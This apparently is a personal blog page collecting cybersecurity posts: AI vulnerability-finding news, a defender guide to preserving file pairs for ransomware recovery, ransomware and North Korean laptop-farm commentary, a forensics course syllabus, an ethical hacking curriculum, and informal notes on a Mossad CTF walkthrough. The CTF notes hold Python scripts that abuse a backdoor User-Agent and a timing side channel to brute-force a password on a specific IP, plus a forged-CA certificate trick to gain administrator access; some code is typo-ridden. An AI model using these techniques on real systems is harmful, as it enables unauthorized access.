Showing posts with label cybersecurity. Show all posts
Showing posts with label cybersecurity. Show all posts

Sunday, May 10, 2026

Cloud Mythos - If You Dare Open the Pandora's Box


Whether you view it as genuine caution or very clever marketing (the model gets enormous attention precisely because you can’t have it), the outcome is the same: a handful of major tech and cybersecurity companies now have exclusive access to something that can locate software vulnerabilities faster than any human or team. --Davey McGlade

Guess the Zuckerberg will be shelling out more billions for defectors from Anthropic. Coz, guess what? Facebook (META) has been DENIED!

One way of saying, you can't have it, but you can buy us for $2T

The 27 year old OpenBSD bug we all happily missed - including Eric Schmidt (an integer overflow condition that allows a remote attacker to crash any OpenBSD host responding over TCP - allowing denial of service.)



Sunday, April 12, 2026

How You Can Defeat Ransomware After the Hack

A practical guide to whether preserved clean and encrypted file pairs can help researchers recover decryption capability after a ransomware attack.
Problem Statement

Is it possible to deliberately preserve a small set of files, along with backups of their original versions, so that if a ransomware attack occurs, security researchers could compare the pre-encryption and post-encryption versions and potentially recover the decryption key or otherwise build a decryptor?

If so:

  1. Is there a canonical or especially useful set of file types that should be preserved for this purpose?
  2. What characteristics make certain files more valuable than others in a known-plaintext or before/after comparison attack?
  3. Under what conditions can this approach actually work, and why does it fail against many modern ransomware families?
  4. What is the most practical defender-oriented checklist of files and related artifacts to archive now, so that if a future decryptor becomes possible, the chances of successful recovery are maximized?
Defender-Oriented Checklist

The goal is not to assume you will be able to break the ransomware. The goal is to preserve the kinds of artifacts that are most useful if the ransomware later turns out to have made a cryptographic mistake, or if a public decryptor becomes available.

Highest-Value File Types
  • PNG files
  • PDF files
  • DOCX / XLSX / PPTX files
  • ZIP files
  • One append-heavy database file, such as SQLite
  • One or two small text or config files whose original contents are known exactly
  • One standard image or template file used repeatedly in the environment
For Each Preserved File, Ideally Keep
  • The clean/original copy
  • The encrypted version, if an attack occurs
  • The original path and filename
  • The encrypted filename and any added extension
  • Before/after file sizes
  • Timestamps
  • A SHA-256 hash of the clean file
  • A SHA-256 hash of the encrypted file
Incident Artifacts to Preserve
  • The ransom note
  • At least one sample encrypted file
  • The ransomware-added extension, if any
  • Any notes about when the attack happened and which systems were affected
  • If safely captured by professionals, a copy of the malware binary or launcher
A Practical Minimum Archive Kit
  • 1 PNG
  • 1 PDF
  • 1 DOCX
  • 1 XLSX
  • 1 ZIP
  • 1 append-heavy database file
  • 1 small known text/config file
  • 1 common template or reference image
  • 1 ransom note, if attacked
  • Encrypted counterparts of the above, if available

The most useful pair is often the exact same file before and after encryption: same filename, same original location, and a clean version from backup.

Can Preserved Before/After Files Help Recover a Ransomware Key?

Sometimes, yes — but there is no universal canonical set of files that guarantees recovery.

When ransomware researchers succeed by comparing a clean file to its encrypted version, the real reason is usually not merely the existence of a before/after pair. What they are typically exploiting is a cryptographic or implementation mistake in the ransomware.

Examples of mistakes that can make recovery possible include:

  • Reused keystream
  • Reused nonce or IV
  • Weak XOR-style encryption
  • Deterministic partial encryption
  • Broken key generation
  • Improper key reuse across files

If the ransomware uses sound modern cryptography correctly — for example, a fresh per-file symmetric key or nonce, with those keys then protected using the attacker’s public key — then having both the original and encrypted versions of the same file usually does not let you recover the decryption key.

That is why this approach is best understood as an opportunistic recovery aid, not a primary defense strategy.

What Kinds of Files Are Most Useful?

The best files for this kind of analysis are those with highly predictable structure or exactly known content.

These are especially valuable:

  • PNG files, because they have a well-defined signature and chunk structure
  • PDF files, because they start with recognizable headers and have regular internal structure
  • ZIP files
  • Office files such as DOCX, XLSX, and PPTX, because they are ZIP-based containers internally
  • Small template-based text or config files whose contents are known exactly
  • Append-heavy database files, where an older copy and a newer encrypted copy may differ mostly by appended data

The strongest possible sample is not just a “good file type,” but a file whose original bytes are known exactly. A standard company logo, a stock image used everywhere, a blank template, an exported form, or a known installer can all be more useful than a random user-created document.

What Makes This Approach Work?

This approach works only under fairly specific conditions. The biggest enabler is usually a real flaw in the ransomware.

The conditions that can make recovery feasible include:

  1. The same key material or keystream is reused across files.
    In that case, one known plaintext/ciphertext pair may reveal information useful for decrypting others.
  2. Encryption is partial, patterned, or deterministic.
    Some ransomware encrypts only parts of each file for speed, which can leave useful structure visible.
  3. The file format reveals a lot about the plaintext.
    Fixed headers, signatures, and internal structure increase the amount of known plaintext.
  4. Multiple files of the same type are available.
    A large set of samples can reveal patterns that a single pair cannot.
  5. The clean and encrypted copies are truly corresponding versions of the same file.
    Exact pairing matters. Random clean files of the same type are much less valuable than the real before/after pair.

The decisive factor is almost always whether the ransomware made a mistake. The file set only helps researchers exploit that mistake.

Why This Often Fails Against Modern Ransomware

Many modern ransomware families cannot be defeated this way.

If the ransomware uses correct modern cryptography with:

  • fresh per-file keys,
  • fresh nonces/IVs,
  • proper authenticated encryption, and
  • attacker-held asymmetric key wrapping,

then known plaintext is usually not enough to recover the decryption key.

In other words:

There is no magic file set that defeats correctly implemented ransomware.

That is why preserving helpful files is worthwhile as a secondary recovery aid, but attacker-inaccessible backups remain the real defense.

What Is the Real Defensive Strategy?

The practical takeaway is straightforward:

  • Preserve helpful file pairs and incident artifacts because they may help researchers later.
  • Do not assume cryptanalysis will work.
  • Maintain offline, immutable, or otherwise attacker-inaccessible backups.

The preserved-file approach is best viewed as:

A way to improve your odds in the rare cases where the ransomware is flawed — not a substitute for proper backups.

Yes, you can prepare a useful set of files and artifacts that may help future decryptor efforts. But what makes recovery possible is usually a weakness in the ransomware, not the mere existence of those files.

Why? A friend told me about "The Ransomware Hunting Team" by Renee Dudley and Daniel Golden. Said it's not something she'll be recommending to anyone because of how unnecessarily long it is, there were some useful tidbits.

If you're unlucky enough, these are the old folks in the world who can help you out:


Bottom line - if you have an old computer, install nothing that you don't download from a Fortune 50 company :)



Saturday, October 18, 2025

SaaS → PaaS → RaaS (Quilin > Asahi Brewing)



Economist : They were hit so bad, they were forced to take orders by fax!

The big bad wolf : Qilin RaaS - Russian-speaking criminal group. Double-extortion specialists - steal data and demand ransom and also threaten to leak it. The group's toolkit is advanced and includes customizable encryption modes, anti-forensic techniques, and the ability to spread across networks

Investments in hacking tools have paid off big time for the Chinese apparently: In 2011–2012 Chinese-linked actors reportedly penetrated major Israeli defence contractors and exfiltrated data related to Iron Dome / missile systems.

NPR: Why this is China's golden age of hacking

Rosie Blau: So what should companies be doing?

Alex Hern: It’s difficult to say a lot of businesses did the easy stuff and stared at the hard stuff, be that embedded systems in robotic arms, or even things like the room booking screens that companies like The Economist have around the office, and went, oh, maybe we don’t have to do that. And it turns out you do. You have to fix everything because anything can be a way in. The other problem is that, to draw an analogy from the pandemic, we learn when everything went to crap, that actually having a little bit of slack in the system is good, having resilience is good and that maybe having run parts of society on outsourcing to the cheapest provider didn’t work so well when you really needed extra resilience. What I think some businesses are learning is that outsourcing core parts of their IT security to the cheapest provider is similarly having a problem. And it seems like one of the popular ways into ransomware in general is to call a large outsourced IT security hub and just keep going until you find the 40th, 50th call center handler who follows the script the wrong way and hands over credentials when they shouldn’t. That can often be the toehold that an attacker needs to break into the wider network. So perhaps not looking for the cheapest way of running your IT can be one of the things that businesses should learn.

VPV Vs TOR

Eg. https://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion/

Thursday, June 05, 2025

The Christina Chapman Saga Impressed Me. What About You?


If this is such a big deal, how come I never heard about this till I saw the WSJ podcast?

https://www.wsj.com/podcasts/the-journal/the-everyday-american-who-hustled-for-north-korea/110efe13-3071-43db-85b8-1d44330ce1f6

The total $ amount she siphoned to NK through her laptop farm : $17 million! (she got to keep about $180k - not bad for a non techie)


Annie Minoff: That is wild to me. Imagine being a North Korean hacker and applying for a job at a cybersecurity company.

Robert McMillan: Yeah. Imagine getting it.


Laptop farmers help make that happen. They receive North Korean's work laptops and help set them up so that the scammers can operate them remotely. They also help with logging on in the morning and logging off at night. And that's what Christina Chapman did. After she got that LinkedIn message, Chapman became one of what researchers estimate could be dozens of laptop farmers who've cropped up all across the US.


https://www.moneycontrol.com/world/north-korea-hacks-us-remote-work-using-unwitting-americans-article-13059908.html

Christina Chapman, a 50-year-old ex-waitress and bootcamp graduate coder, posted gleefully about her day-to-day grind on TikTok—giving peeks into her client sessions, lunches, and travels. But in the corner of one 2023 video, federal agents noticed more than a dozen idling laptops. These were not for her own projects—they were used by North Korean IT staff illegally impersonating US-based employees, the Wall Street Journal reported.


https://www.wired.com/story/north-korea-stole-your-tech-job-ai-interviews/

Once again, the applicant said they were based in the US, had an Anglo name, and appeared to be a young Asian man with a thick, non-American accent. He used a basic virtual background, was on a terrible internet connection, and had a single-minded focus on salary. This candidate, though, was wearing glasses. In the lenses, Wijckmans spotted the reflection of multiple screens, and he could make out a white chatbox with messages scrolling by. “He was clearly either chatting with somebody or on some AI tool,” Wijckmans remembers.

From Sherwood News



Thursday, February 24, 2022

Beat Employee Boredom with Cybersecurity Training - Ninjio.com

 Some gorgeous animations. Here's one that will make you think twice before you scan that QR code :)



Friday, September 17, 2021

Learning from the Best : Nick Furneaux - How to hack RAM, What I Learned from Israel's Unit 8200

https://www.csitech.co.uk/training/ram-analysis/

Advanced RAM Analysis and Forensics - 4 Day Course for about $2300.

We are pleased to announce the updated 2021 4 day Advanced RAM Analysis

course.

As before the course is primarily hands on but provides much more flexibility. A significant time is spent in advanced memory data extraction and analysis techniques including reconstruction of file systems, password location, decryption and deconstruction of memory resident Malware such as Stuxnet.

Also interesting, is creating and scripting your own memory analysis toolkit.

A 32 GIG ruggedized USB key (download for online course) is supplied for each student to keep with all software and RAM dumps.

Syllabus

• Live Forensic procedures

• Live Windows RAM imaging (Cmd line and GUI based)

• Imaging Linux RAM

• Imaging Intel Mac’s (OSX)

• Testing downloaded tools

• Creating and scripting your own toolkits

• Script disk imaging

• Scripting memory imaging

• Volatile data extraction

• Reverse copying key files and folders

• Advanced Memory (RAM) analysis

• Extraction of data to enhance a disk investigation

• Extraction of elements such as Internet History, timelines and

passwords

• Extracting data from Hiberfil and Crashdump files

• Recreating the entire file system with automated forensic data

extraction

www.csitech.co.uk

• Using Volatility to extract:-

▪ Running processes

▪ Open network sockets

▪ Open network connections

▪ DLLs loaded for each process

▪ Open files for each process

• Finding HTML pages in a Browser process

▪ Open registry handles for each process

▪ Extracting process spaces with their associated files

▪ OS kernel modules

▪ Mapping physical offsets to virtual addresses (strings to

process)

▪ Understanding the PEB

▪ Understanding the VAD

▪ Extracting executables from memory samples

▪ Extracting and analysing operating system files

▪ Extracting and analysing user files

▪ Extracting the MFT

▪ Virus checking RAM dumps

▪ Extraction of network packet data and analysis

• Enhanced network analysis

• New Decryption section

▪ Hands-on extraction of Truecrypt and Veracrypt Master

Keys and container decryption

▪ Hands-on extraction of Bitlocker Master Keys and drive

decryption

▪ Cracking of OSX Keychain without password

• New Malware section

▪ ID’ing suspect processes

▪ Following the malware into Services and Registry

▪ Mapping the IP connections

▪ Extraction of the malware and analysis

▪ Deconstruction of Stuxnet

▪ Understanding what the Malware is doing

▪ Much more…

• New Registry Section

▪ Location and extraction of specific registry keys

▪ Extracting the SAM and decrypting passwords

▪ Finding other passwords

▪ Locating useful keys (TypedURLS, System info etc)

▪ Again, loads more

www.csitech.co.uk

• OSX Memory analysis

▪ Data carving

▪ Process recovery

▪ New Volatility commands

• Linux RAM investigation

▪ Data carving

▪ Recovering processes

▪ Login sessions

▪ Network information

▪ Routing tables

▪ Malware investigation

• Creating your own RAM analysis script to take away

• Final day practical exam and review

To discuss your training needs, or to organize a course, please contact Nick

Furneaux – nick@csitech.co.uk

Saturday, May 16, 2020

What Roman Zaikin Wants to Teach You abou CyberSecurity

The Mossad Cyber Challenge is too easy for this dude..


it begins with a picture in teh newspaper that you have to use to get enough info - in this case, an IP address

in this case, the hint was that there were four eight bit numbers, so an IPv4 address

when roman zaikin participates in CTFs, every detail is important..

the first thing you see when you put in that IP address is a long string of hex called "our client ID"

so, save that guy for later..

they also give you a link to an adroid app

so, that's an apk file that you can download..

jadx is an android reflection tool which can decompile APK files

the most important file in an android app (APK) is the manifest

here, roman sees that the name of the app is locksmither and also "look for us on github.com"

he pastes the text iwalk.locksmither github into google and then goes there to the github

there, he sees a folder called server - he recognizes it as the backend of the goal server (??). He keeps that code in his back pocket..

now, the app itself, install it on an android virtual phone from genymotion (french)

now, when , on this virtual phone he launches iWalk-LockSmither App,

he's presented with a login screen

seed
password

he tries some combos and, sees status toast messages saying "completed in 0 milliseconds"

because a regular app will never send us the milliseconds that it takes, he infers that it suggests to use a brute force attack. A real app would never disclose such info since it could be use for time-based penetration.. really? "this kind of vulnerability may lead to brute force attack - time based brute force attack"

when he saw this, he decided to look at the actual traffic

so, he put a proxy here ..

go to WiFi (on the virtual phone) and modify the network..

put in the IP address of your proxy program -- use burpsuite - the most common.

You can also use "filler" (or fiddler)

now, in burpsuite, he goes into proxy, remove the intercept (off) and then go to options and select all interfaces..

now, you'll be able to see the traffic from all the interfaces on your mobile app

on the virtual phone, he goes to google and sees the burpsuite logging everything..

then, he goes to the mossad app and sends a login request and he sees that nothing was actually sent..

this means you have to look at teh source code of teh app.

So, that takes you back to jadx

in the MainActivity, you can see that it looks like a cordoba app, but it extends FlutterActivity (??)

what is flutter and flutterio?

it's a google framework for design - crossplatform - works with iOS as well..
basically, only maintain one codebase..

the actual code in flutter is dart - it's similar to javascript

so, the clues he has at this point are that he has to look at teh source and that the source is related to flutter and the code is in dart - which is like javascript

to familiarize himself with dart, he wrote a couple of dart apps in Android studio

he sees that it's really simple to understand dart.. you have a main app, a UI, etc..

so, now, try to get to the dart code of the Mossad app..

for that, you know that an APK file is just a zip file (use Extract to extract it)

then, go to assets > flutter_assets and then look at kernel.blob.bin

this is a binary file, but like you could use strings on a unix binary, here, you can look for main()

right there "if you will look here, you can see some routes, so let's go for the routes"

-- search for routes

and that takes you to a place that says

final routes = {
    '/login': (BuildContext context) => new LoginPage(),
    '/home':  (BuildContext context) => new HomePage(),
    '/' :     (BuildContext context) => new LoginPage(),
};

now, search for LoginPage and you can see the login class and that uses some kind of NetworkAction class, so search for that..

there, where you see

static const BASE_URL = "http://35.246.158.51:8070"

that's a request page, so take that and use it..

the mini lesson from this point on seems to be that the browser really isn't your friend, because it's going to show you what the page wants you to see..

rather, this guy uses python code to read web pages : (and he uses PyCharm - which from the czechs at JetBrains)

import requests     # which is great to send requests

r = requests.get( "http://35.246.158.51:8070/auth/getUrl", json={ "Seed": "a", "Password": "a" } )

print r.text    # hmm... he's happy with python2.7 :) in this day and a :)

# networkactions, in the dart code shows you that you need to send a JSON

# now look for the response..

which is

{"AutoURL":"/auth/V2"}

(another JSON)

So, now send the request to /auth/v2


r = requests.get( "http://35.246.158.51:8070/auth/v2", json={ "Seed": "a", "Password": "a" } )

which returns

{"IsValid":false, "LockURL":"", "Time":144789}

now, a bit of genius.. "But wait, do you remember that, at the beginning of the challenge, we received the backend code?"

So now, go to that code and look at the main function :

func main() {
    if getLocks() == nil {
        panic("Something is wrong with the locks file")
    }
   
    http.HandleFunc("/auth/getUrl(", getAuthURL)
    http.HandleFunc("/auth/v1_1", v1Auth )
    http.HandleFunc("/auth/v2", v2Auth )
    http.HandleFunc("/", notFound )
    log.Fatal(http.ListenAndServe( ":8070", nil ) )


}

getUrl was just used to receive the auth2 URL. But, what is the v1_1? Let's try to search for it

search for v1Auth in the https://github.com/iwalk-locksmithers-app/server/blob/master/main.go

//iWalk-Locsks: old auth, deprcated developed by OG
//that is no longer with us
//TODO: deprecated, remove from code        "so this is a code"
func v1Auth( w http.ResponseWriter, r *http.Request ) {
    userAgent := r.Header.Get( "User-Agent")
    if userAgent != "ed9ae2c0-9b15-4556-a393-23d500675d4b" {
        returnServerError( w, r )        // RZ recognizes this as a backdoor userAgent!!
        return
    }
   
    start := time.Now()
   
    decoder := json.NewDecoder( r.Body )    // this suggests to you that you should send JSON


##, so now, construct a request using this id..

r = requests.post( "http://35.246.158.51:8070/auth/v2",
                    headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "a", "Password": "a" } )
                   
                    # prefers POST to GET


# now, we don't the seed anywhere in teh APK decompiled text, but, as "I told you before" in CTFs, every detail is important - so, the guess at this point is that the "client ID" is the seed, so try that

r = requests.post( "http://35.246.158.51:8070/auth/v2",
                    headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "855110e903144277a6afdc4819b999b1", "Password": "a" } )

just an educated guess that turns out to be correct

so, that's the seed.. what about the password?

Look in the code

        for currentIndex < len( lock.Password) && currentIndex < len( loginData.Password ) {
            if lock.Password[currentIndex] != loginData.Password[currentIndex] {
                break
            }

            //OG: securing against bruteforce attempts.... ;-)
            time.Sleep( 30 * time.Millisecond)
            currentIndex++
        }
       
www.zeronights.org
    # RZ recognizes this as "basically a time-based brute-force attack"

    what this is telling you is that if you find the first character, the code will sleep here for 30 milliseconds
   
    every correct attempt will make the backend sleep for 30 milliseconds..
   
    # that's how you can put in a back-door that's very subtle :)


    "so let's try to abuse this logic"
   
    create a for loop
   
import requests
import strings # you want to try all characters

found = ""
for pass_len in range( 50 ):
    for character in string.printable :
        r = requests.post( "http://35.246.158.51:8070/auth/v1_1",
                    "headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "855110e903144277a6afdc4819b999b1",
                         "Password": "{}{}".format(found,character) } )

    time = r.jason()["Timer"]
    print time
   
# run this, and see that you get something detectable behavior in your printout

when you see

144354
168339
30278888
170990

you know that the 3027888 is telling you something..

So, now..

import requests
import strings # you want to try all characters

found = ""
for pass_len in range( 50 ):
    for character in string.printable :
        r = requests.post( "http://35.246.158.51:8070/auth/v1_1",
                    "headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "855110e903144277a6afdc4819b999b1",
                         "Password": "{}{}".format(found,character) } )

    time = r.jason()["Timer"]
    print time
    if time > 30000000 :
        print character
        found += character
        print character
        break
   

what you'll see is that the timer continues to count from the last character, meaning you look for just > 30000000

rather..


    if time > 30000000 * (len(found)+1) :
        print character
        found += character
        print character
        break

ea28e2faa5314323b76835e3be979039

is what you get - so cool - because you see what kind of back-door has been put in - the keys is, you see how the behavior of the backend is going to be different for characters that match.. and that's enough..


So, how does this change our real request?


import requests

r = requests.post( "http://35.246.158.51:8070/auth/v1_1",
                headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                json={ "Seed": "855110e903144277a6afdc4819b999b1", "Password": "ea28e2faa5314323b76835e3be979039" } )


print r.json()

# run it and...

{u'IsValid':True, u'Time':963321695, u'LockURL':u'http://3d375032374147a7865753e4bbc92682.xyz/5d1bba9cfe3f42ee928f52d989e9962c'}

which is basically the URL for the second challenge..

go there with a browser and they give you a success token

Send the success token and contact info to the email address they give you..

they give you a website , in this case : missilesys.com/notwelcome

first thing roman does is fire up burpsuite

"burpsuite is actually the best proxy that is out there"

nice - this is a Welsh company - Dafydd Stuttard. Remember the CIA memo saying the Irish will scan every bit of electronic storage media you've got if you're selected for secondary screening? I guess the Welsh aren't far behind in being paranoid about cyber..



-- starts off, he turns intercept off

then, under target > Scope, check "use advanced scope control"

for the Add URL to include in scope : put in "missilesys."

then, under site map,

filter by request type :

check for

show only in-scope items
hide not-found items

In Proxey > HTTP history ... check show only in-scope items.


Then, in Target > Site Mape, right click on http://missilesys.com and choose scan

change from Crawl and Audit to just Crawl and click OK

when you crawl, you're going to find (look in the Request/Response pane's Raw tab)

Host:dev.missilesys.com

now, some words of w :

from my experience , when I try to perform penetration testing on a website, in a project I do, I always try to use a sub-lister to find all the subdomains because the main domain is usually very safe and the company usually invests all the efforts to secure the main domain but sometimes they forget some kind of dev system or some kind of development systems, test systems or old systems backup systems and thins like this and we can find those systems by using sub-lister

So, now, in your browser, put in

dev.missilesys.com

you'll see here there is a registration system .

And, after you register, download the certificate (in this case, a file roman.p12)

this system is really interesting because it contains some kind of server/client certificate and the end users here have to authenticate by PKS 12 which is client cert and the packet will identify the user ID certificate so we created Roman PKS 12 certificate - a client certificate, and, to use that, you can import it inside the browser, but, we want to use proxy, so

go to user options, then go to SSL and then, Add the client certificate there..

now, once you're logged in, you see a page that tells you "You are not the administrator!"

if you go back to the main page and try to sign up with username = administrator,

user already exists!  -- obviously, else it would be a too easy challenge..

you have to find a way to use the PKS12 and bypass the user-already-exists..

there are two techniques..

first idea - which doesn't work - but is still interesting - is to create duplicated CN parameters (recalling in the certificate, CN=roman)

in Chrome, F12 and go to developer tools, you can see what function is going to run when you click submit button

go to EventListeners, then click ...

you'll see onclick="gencsr()"

you'll see the createPKS12, a function that creates our PKS10 request which is a CSR.. (??)

and in the CSR you see the CN field, so we try to create a CN field

here's the idea..

in the Chrome console, create an Administrator attribute :

pkcs10.subject.tpyesAndValues.push( new AttributeTypeAndValue( {
    type:"2.5.4.3",
    value: new Utf8String( { value: "Administrator" } )
    } ) )

try to create a David certificate and try to register with David

look at the David certificate that you download,

CN=david --> CN=Administrator, CN=david

now, in burpsuite, try to add the David certificate

... (??)

try to sign in with this - it doesn't work - still "You are not the administrator"

looking at function createPKCS10(cn) {
...
...
    resultString = "$(resultString)$(formatPEM(toBase64(arrayBufferToString(pkcs10Buffer)))}'
    ...
    ..
    document.getElementById("privatekey").value = window.privateKey;
   
this is enough for RZ to know that the backend will sign on every certificate we send to the backend

So, we can just send a certificate to the system with a CA and we can create a chain of trust with the system..

this system will grant our certificate the ability to create any certificate

what tools does RZ have : HxD, Ditto, xca,

use a tool called xca - a much simpler tool and better than open SSL

CA = Certificate Authority

new database

add a password

you have to create a CSR (certificate signing request )

(Source tab)

TEmplate for teh new certificate : CA (default)

apply to all

under Advanced, check that CA:TRUE


under subject, name your certificate : ca (commonName)

internal name : ca

generate a key

go back to the prompt on the webpage and apply the certificate

just manipulate teh CSR and swap it to the newly created CSR

back in xca,  right clickon the ca and do export to clipboard


copy the CSR to the clipboard

in the chrome console, set resultString = this (paste)

do the same for privatekey - in xca, export the key to PEM

release, click download and you get your CA certificate

now, you have a CA, not a regular certificate.

this certificate is now able to create other certificates..

So, go to xca to use this to create new .. X509

internal name : administrator

now, in burpsuite, add your certificate as client SSL certificate

now try the settings link again and, you're in, as admin..


Saturday, September 07, 2019

Safe, but for How Long?

As Google puts it, your default search engine is Google and suddenly, it's not. You might have malware.

Yes, that dreaded stuff that comes out of unit 8200 that's mostly used to catch the bad guys, but, as Rabbi Kushner says, sometimes bad things happen to good people.

Luckily, under Settings > Advanced, Chrome gives you tool to check your computer for harmful files.

Mercifully :

No harmful software found

Sunday, January 13, 2019

Ethical Hacking Curriculum

Why?

So you get the most out of your own PC, among other things :)

What do you need to know?

Linux command line
Windows command line
Networking
Cyber laws
Internet governance
Reconnaissance ( footprinting )
Google Hacking (wha?)
Scanning
Enumeration
System Hacking
Proxy servers
Key loggers
Trojans and Backdoors
Viruses and worms
Sniffing
Social Engineering
Email Hacking and Prevention
Session Hijacking
Hacking Web Servers and Prevention
SQL Injection
XSS Attacks (Cross-Site Scripting)
CSRF Attacks (Cross-S Request Forgery)
DOS and DDOS Attacks
RFI and LFI
Working with Exploits
Buffer Overflows
Reverse Engineering
Cryptography
Firewalls and Honeypots
Physical Security
Hacking Wireless Networks
Penetration Testing
Hacking Routers
Hacking Mobile Phones
Computer Forensics
Web Application Penetration Testing

Sunday, January 03, 2016

The Analog Hole not About Money Anymore

A long time ago, there was something in EE Times or EDN or one of those useless newsletter purveyors about concern about the analog hole - you encrypt your stuff and all's well, but, how do you prevent copying when the content eventually is delivered to the user in an analog fashion - say from a speaker?

Skype says : We're helpless :

Adrian Asher, Skype's chief information security officer, says his company can't prevent these technologies from compromising its service: "Can we control [spyware] taking an audio stream off the speakers or the microphone? No, there is nothing we can do."

So, the real question for us small-fry is : what can we do? How safe is Linux from these monsters? Can you install something on Windows that can watch for this crap that Hu Jintao installs? Has Apple done anything about this?

Few years ago, on a trip to die Schweiss, I bumped into a guy working for Lumension (a Luxembourgian) who said that, when they had an exercise to see which platform would cave in first - the Mac was the first one that was broken into.

http://leaksource.info/2014/08/09/hack-back-a-diy-guide-for-those-without-the-patience-to-wait-for-whistleblowers/

My question is : How can I hire these geniuses to do useful things for me? I'm struggling to get my crappy CAD tools to give me what Cadence can.

https://news.ycombinator.com/item?id=8143232

I had a question : What do these smart people do for a living? I mean, the guy who took down Gamma - what does he do to pay rent?

http://www.businessinsider.com/we-found-out-how-much-money-hackers-actually-make-2015-7